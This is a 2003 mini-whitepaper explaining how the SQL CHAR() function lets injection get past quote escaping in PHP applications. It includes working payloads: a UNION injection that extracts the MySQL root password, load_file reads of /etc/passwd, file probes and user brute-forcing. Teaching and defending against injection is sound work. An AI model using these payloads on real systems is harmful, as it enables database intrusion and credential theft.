@2003 Martin Eiszner
*******************************************************
SQL-INJECTION USING THE MySQL(and others) char() SYNTAX
*******************************************************
OVERVIEW
========
This mini-whitpaper describes how mysql(and other dbms-systems) features can be used to circumvent weak input
validation techniques. Please not that this is NOT about a security vulnerability.
It is just a demonstration how software specific functionality can become dangerous when forgotten.
DETAILS
=======
Manny DBMS systems support the char() string function.
This function interprets the arguments as integers and returns a string consisting of the characters
given by the ASCII code values of those integers. NULL values are skipped:
So the following mysql - statements:
---*---
SELECT CHAR(77,121,83,81,76);
---*---
would return:
---*---
"MySQL"
---*---
Together with the SELECT statement this feature could be used to perform typical Sql-injection
attacks even when quotes are removed or escaped from numerical user input.
A typical example in PHP could look like this:
---*---
SomeDbScript.php:
---cut here---
// code
//
$sid = addslashes($_GET['id']);
$q = "SELECT * FROM users WHERE id=$sid;";
$rs = mysql_query($q);
if (!$query) // aso.
//
//
---cur here---
---*---
The coder was carefull and added slashes to the user input. so we cannot use "'" to perform
sql-injection. but we still can use the mysql char function!
So if we request the script-url with the following ID value:
---*---
"9999 union select 1,1,1,1,password from mysql.user where user=char(114,111,111,116)-- "
---*---
(of course we brute forced the number of fields in the resultset before)
.. we get the password of the mysql root user in one of the scripts output-fields.
OTHER EXAMPLES of char Usage
Inject without quotes (string = "%"):
SELECT * from users where id = 1 or username like char(37);
Inject without quotes (string = "root"):
SELECT * from users where id = union select * from users where username = char(114,111,111,116);
Load files in unions (string = "/etc/passwd"):
select firstname,lastname from users union select 1,(load_file(char(47,101,116,99,47,112,97,115,115,119,100)));
Check for existing files (string = "n.ext"):
select id from table where id = 1 and 1=(if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
Brute force mysql username (string = "%root%"):
select id,Name,password from Users where id = 1 and (user() like char(37,114,111,111,116,37));
Addendum 1 - MS-SQL
===================
MS-SQL also allows the usage of the CHAR() function within SELECT Statements.
The MS-SQL Syntax for joining strings with the CHAR() function is:
---*---
char(#nr)+char(#nr)+char(#nr)
---*---
---
@2003 Martin Eiszner / mei@websec.org